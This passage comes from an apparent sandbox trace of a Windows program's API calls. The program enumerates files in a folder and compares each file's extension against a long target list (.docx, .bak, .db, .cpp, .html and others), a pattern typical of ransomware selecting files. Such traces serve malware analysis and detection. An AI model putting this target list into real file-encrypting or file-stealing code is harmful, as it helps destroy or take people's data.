returned 4 [0182.763] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0182.763] lstrlenW (lpString=".hpp") returned 4 [0182.763] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0182.763] lstrlenW (lpString=".hta") returned 4 [0182.763] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0182.763] lstrlenW (lpString=".htc") returned 4 [0182.763] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0182.763] lstrlenW (lpString=".htm") returned 4 [0182.763] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0182.763] lstrlenW (lpString=".html") returned 5 [0182.763] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0182.763] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0182.763] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0182.765] lstrlenW (lpString=".1cd") returned 4 [0182.765] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.765] lstrlenW (lpString=".3ds") returned 4 [0182.765] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0182.765] lstrlenW (lpString=".3fr") returned 4 [0182.765] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0182.765] lstrlenW (lpString=".3g2") returned 4 [0182.765] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0182.766] lstrlenW (lpString=".3gp") returned 4 [0182.766] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0182.766] lstrlenW (lpString=".7z") returned 3 [0182.766] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.766] lstrlenW (lpString=".accda") returned 6 [0182.766] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0182.766] lstrlenW (lpString=".accdb") returned 6 [0182.766] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0182.766] lstrlenW (lpString=".accdc") returned 6 [0182.766] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0182.766] lstrlenW (lpString=".accde") returned 6 [0182.766] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0182.766] lstrlenW (lpString=".accdt") returned 6 [0182.766] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0182.766] lstrlenW (lpString=".accdw") returned 6 [0182.766] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0182.766] lstrlenW (lpString=".adb") returned 4 [0182.766] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0182.766] lstrlenW (lpString=".adp") returned 4 [0182.766] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0182.766] lstrlenW (lpString=".ai") returned 3 [0182.766] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0182.766] lstrlenW (lpString=".ai3") returned 4 [0182.766] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0182.766] lstrlenW (lpString=".ai4") returned 4 [0182.766] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0182.766] lstrlenW (lpString=".ai5") returned 4 [0182.767] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0182.767] lstrlenW (lpString=".ai6") returned 4 [0182.767] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0182.767] lstrlenW (lpString=".ai7") returned 4 [0182.767] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0182.767] lstrlenW (lpString=".ai8") returned 4 [0182.767] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0182.767] lstrlenW (lpString=".anim") returned 5 [0182.767] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0182.767] lstrlenW (lpString=".arw") returned 4 [0182.767] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0182.767] lstrlenW (lpString=".as") returned 3 [0182.767] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0182.767] lstrlenW (lpString=".asa") returned 4 [0182.767] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0182.767] lstrlenW (lpString=".asc") returned 4 [0182.767] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0182.767] lstrlenW (lpString=".ascx") returned 5 [0182.767] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0182.767] lstrlenW (lpString=".asm") returned 4 [0182.767] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0182.767] lstrlenW (lpString=".asmx") returned 5 [0182.767] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0182.767] lstrlenW (lpString=".asp") returned 4 [0182.768] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0182.768] lstrlenW (lpString=".aspx") returned 5 [0182.768] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0182.768] lstrlenW (lpString=".asr") returned 4 [0182.768] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0182.768] lstrlenW (lpString=".asx") returned 4 [0182.768] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0182.768] lstrlenW (lpString=".avi") returned 4 [0182.768] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0182.768] lstrlenW (lpString=".avs") returned 4 [0182.768] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0182.768] lstrlenW (lpString=".backup") returned 7 [0182.768] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0182.768] lstrlenW (lpString=".bak") returned 4 [0182.768] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0182.768] lstrlenW (lpString=".bay") returned 4 [0182.768] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0182.768] lstrlenW (lpString=".bd") returned 3 [0182.768] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0182.768] lstrlenW (lpString=".bin") returned 4 [0182.768] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0182.768] lstrlenW (lpString=".bmp") returned 4 [0182.768] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0182.768] lstrlenW (lpString=".bz2") returned 4 [0182.768] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.768] lstrlenW (lpString=".c") returned 2 [0182.768] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.769] lstrlenW (lpString=".cdr") returned 4 [0182.769] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0182.769] lstrlenW (lpString=".cer") returned 4 [0182.769] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0182.769] lstrlenW (lpString=".cf") returned 3 [0182.769] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0182.769] lstrlenW (lpString=".cfc") returned 4 [0182.769] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0182.769] lstrlenW (lpString=".cfm") returned 4 [0182.769] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0182.769] lstrlenW (lpString=".cfml") returned 5 [0182.769] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0182.769] lstrlenW (lpString=".cfu") returned 4 [0182.769] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0182.769] lstrlenW (lpString=".chm") returned 4 [0182.769] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0182.769] lstrlenW (lpString=".cin") returned 4 [0182.769] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0182.769] lstrlenW (lpString=".class") returned 6 [0182.769] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0182.769] lstrlenW (lpString=".clx") returned 4 [0182.769] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0182.769] lstrlenW (lpString=".config") returned 7 [0182.769] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0182.769] lstrlenW (lpString=".cpp") returned 4 [0182.769] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0182.769] lstrlenW (lpString=".cr2") returned 4 [0182.769] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0182.769] lstrlenW (lpString=".crt") returned 4 [0182.769] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0182.769] lstrlenW (lpString=".crw") returned 4 [0182.769] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0182.769] lstrlenW (lpString=".cs") returned 3 [0182.770] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0182.770] lstrlenW (lpString=".css") returned 4 [0182.770] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0182.770] lstrlenW (lpString=".csv") returned 4 [0182.770] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0182.770] lstrlenW (lpString=".cub") returned 4 [0182.770] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0182.770] lstrlenW (lpString=".dae") returned 4 [0182.770] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0182.770] lstrlenW (lpString=".dat") returned 4 [0182.770] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0182.770] lstrlenW (lpString=".db") returned 3 [0182.770] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0182.770] lstrlenW (lpString=".dbf") returned 4 [0182.770] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.770] lstrlenW (lpString=".dbx") returned 4 [0182.770] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0182.770] lstrlenW (lpString=".dc3") returned 4 [0182.770] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0182.770] lstrlenW (lpString=".dcm") returned 4 [0182.770] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0182.770] lstrlenW (lpString=".dcr") returned 4 [0182.770] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0182.770] lstrlenW (lpString=".der") returned 4 [0182.770] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0182.770] lstrlenW (lpString=".dib") returned 4 [0182.770] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0182.770] lstrlenW (lpString=".dic") returned 4 [0182.770] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0182.770] lstrlenW (lpString=".dif") returned 4 [0182.770] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0182.770] lstrlenW (lpString=".divx") returned 5 [0182.770] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0182.770] lstrlenW (lpString=".djvu") returned 5 [0182.771] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0182.771] lstrlenW (lpString=".dng") returned 4 [0182.771] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0182.771] lstrlenW (lpString=".doc") returned 4 [0182.771] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.771] lstrlenW (lpString=".docm") returned 5 [0182.771] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0182.771] lstrlenW (lpString=".docx") returned 5 [0182.771] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0182.771] lstrlenW (lpString=".dot") returned 4 [0182.771] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0182.771] lstrlenW (lpString=".dotm") returned 5 [0182.771] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0182.771] lstrlenW (lpString=".dotx") returned 5 [0182.771] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0182.771] lstrlenW (lpString=".dpx") returned 4 [0182.771] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0182.771] lstrlenW (lpString=".dqy") returned 4 [0182.771] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0182.771] lstrlenW (lpString=".dsn") returned 4 [0182.771] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0182.771] lstrlenW (lpString=".dt") returned 3 [0182.771] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0182.771] lstrlenW (lpString=".dtd") returned 4 [0182.771] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0182.771] lstrlenW (lpString=".dwg") returned 4 [0182.771] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0182.771] lstrlenW (lpString=".dwt") returned 4 [0182.771] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0182.771] lstrlenW (lpString=".dx") returned 3 [0182.771] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0182.771] lstrlenW (lpString=".dxf") returned 4 [0182.771] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0182.771] lstrlenW (lpString=".edml") returned 5 [0182.771] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0182.771] lstrlenW (lpString=".efd") returned 4 [0182.771] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0182.772] lstrlenW (lpString=".elf") returned 4 [0182.772] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0182.772] lstrlenW (lpString=".emf") returned 4 [0182.772] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0182.772] lstrlenW (lpString=".emz") returned 4 [0182.772] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0182.772] lstrlenW (lpString=".epf") returned 4 [0182.772] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0182.772] lstrlenW (lpString=".eps") returned 4 [0182.772] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0182.772] lstrlenW (lpString=".epsf") returned 5 [0182.772] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0182.772] lstrlenW (lpString=".epsp") returned 5 [0182.772] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0182.772] lstrlenW (lpString=".erf") returned 4 [0182.772] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0182.772] lstrlenW (lpString=".exr") returned 4 [0182.773] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0182.773] lstrlenW (lpString=".f4v") returned 4 [0182.773] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0182.773] lstrlenW (lpString=".fido") returned 5 [0182.773] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0182.773] lstrlenW (lpString=".flm") returned 4 [0182.773] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0182.773] lstrlenW (lpString=".flv") returned 4 [0182.773] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0182.773] lstrlenW (lpString=".frm") returned 4 [0182.773] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0182.773] lstrlenW (lpString=".fxg") returned 4 [0182.773] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0182.773] lstrlenW (lpString=".geo") returned 4 [0182.773] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0182.773] lstrlenW (lpString=".gif") returned 4 [0182.773] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0182.773] lstrlenW (lpString=".grs") returned 4 [0182.773] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0182.773] lstrlenW (lpString=".gz") returned 3 [0182.773] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0182.773] lstrlenW (lpString=".h") returned 2 [0182.773] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.773] lstrlenW (lpString=".hdr") returned 4 [0182.773] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0182.773] lstrlenW (lpString=".hpp") returned 4 [0182.773] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0182.773] lstrlenW (lpString=".hta") returned 4 [0182.773] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0182.773] lstrlenW (lpString=".htc") returned 4 [0182.773] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0182.773] lstrlenW (lpString=".htm") returned 4 [0182.773] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0182.773] lstrlenW (lpString=".html") returned 5 [0182.773] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0182.774] lstrlenW (lpString=".icb") returned 4 [0182.774] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0182.774] lstrlenW (lpString=".ics") returned 4 [0182.774] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0182.774] lstrlenW (lpString=".iff") returned 4 [0182.774] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0182.774] lstrlenW (lpString=".inc") returned 4 [0182.774] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0182.774] lstrlenW (lpString=".indd") returned 5 [0182.774] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0182.774] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0182.774] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0182.774] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0182.774] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0182.775] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0182.775] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IN", cAlternateFileName="")) returned 1 [0182.776] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0182.776] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0182.778] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0182.778] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0182.778] lstrlenW (lpString="index.html") returned 10 [0182.778] lstrlenW (lpString=".1cd") returned 4 [0182.778] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0182.778] lstrlenW (lpString=".3ds") returned 4 [0182.778] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0182.778] lstrlenW (lpString=".3fr") returned 4 [0182.778] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0182.778] lstrlenW (lpString=".3g2") returned 4 [0182.778] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0182.778] lstrlenW (lpString=".3gp") returned 4 [0182.779] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0182.779] lstrlenW (lpString=".7z") returned 3 [0182.779] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0182.779] lstrlenW (lpString=".accda") returned 6 [0182.779] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0182.779] lstrlenW (lpString=".accdb") returned 6 [0182.779] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0182.779] lstrlenW (lpString=".accdc") returned 6 [0182.779] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0182.779] lstrlenW (lpString=".accde") returned 6 [0182.779] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0182.779] lstrlenW (lpString=".accdt") returned 6 [0182.779] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0182.779] lstrlenW (lpString=".accdw") returned 6 [0182.779] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0182.779] lstrlenW (lpString=".adb") returned 4 [0182.779] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0182.779] lstrlenW (lpString=".adp") returned 4 [0182.779] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0182.779] lstrlenW (lpString=".ai") returned 3 [0182.779] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0182.779] lstrlenW (lpString=".ai3") returned 4 [0182.779] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0182.779] lstrlenW (lpString=".ai4") returned 4 [0182.779] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0182.779] lstrlenW (lpString=".ai5") returned 4 [0182.779] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0182.779] lstrlenW (lpString=".ai6") returned 4 [0182.779] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0182.779] lstrlenW (lpString=".ai7") returned 4 [0182.779] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0182.779] lstrlenW (lpString=".ai8") returned 4 [0182.779] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0182.780] lstrlenW (lpString=".anim") returned 5 [0182.780] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0182.780] lstrlenW (lpString=".arw") returned 4 [0182.780] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0182.780] lstrlenW (lpString=".as") returned 3 [0182.780] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0182.780] lstrlenW (lpString=".asa") returned 4 [0182.780] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0182.780] lstrlenW (lpString=".asc") returned 4 [0182.780] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0182.780] lstrlenW (lpString=".ascx") returned 5 [0182.780] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0182.780] lstrlenW (lpString=".asm") returned 4 [0182.780] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0182.780] lstrlenW (lpString=".asmx") returned 5 [0182.780] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0182.780] lstrlenW (lpString=".asp") returned 4 [0182.780] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0182.780] lstrlenW (lpString=".aspx") returned 5 [0182.780] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0182.780] lstrlenW (lpString=".asr") returned 4 [0182.780] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0182.780] lstrlenW (lpString=".asx") returned 4 [0182.780] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0182.780] lstrlenW (lpString=".avi") returned 4 [0182.780] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0182.780] lstrlenW (lpString=".avs") returned 4 [0182.780] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0182.780] lstrlenW (lpString=".backup") returned 7 [0182.780] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0182.780] lstrlenW (lpString=".bak") returned 4 [0182.780] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0182.780] lstrlenW (lpString=".bay") returned 4 [0182.780] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0182.781] lstrlenW (lpString=".bd") returned 3 [0182.781] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0182.781] lstrlenW (lpString=".bin") returned 4 [0182.781] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0182.781] lstrlenW (lpString=".bmp") returned 4 [0182.781] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0182.781] lstrlenW (lpString=".bz2") returned 4 [0182.781] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0182.781] lstrlenW (lpString=".c") returned 2 [0182.781] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.781] lstrlenW (lpString=".cdr") returned 4 [0182.781] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0182.781] lstrlenW (lpString=".cer") returned 4 [0182.781] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0182.781] lstrlenW (lpString=".cf") returned 3 [0182.781] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0182.781] lstrlenW (lpString=".cfc") returned 4 [0182.781] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0182.781] lstrlenW (lpString=".cfm") returned 4 [0182.781] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0182.781] lstrlenW (lpString=".cfml") returned 5 [0182.781] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0182.781] lstrlenW (lpString=".cfu") returned 4 [0182.781] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0182.781] lstrlenW (lpString=".chm") returned 4 [0182.781] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0182.781] lstrlenW (lpString=".cin") returned 4 [0182.781] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0182.781] lstrlenW (lpString=".class") returned 6 [0182.781] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0182.781] lstrlenW (lpString=".clx") returned 4 [0182.781] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0182.781] lstrlenW (lpString=".config") returned 7 [0182.781] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0182.782] lstrlenW (lpString=".cpp") returned 4 [0182.782] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0182.782] lstrlenW (lpString=".cr2") returned 4 [0182.782] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0182.782] lstrlenW (lpString=".crt") returned 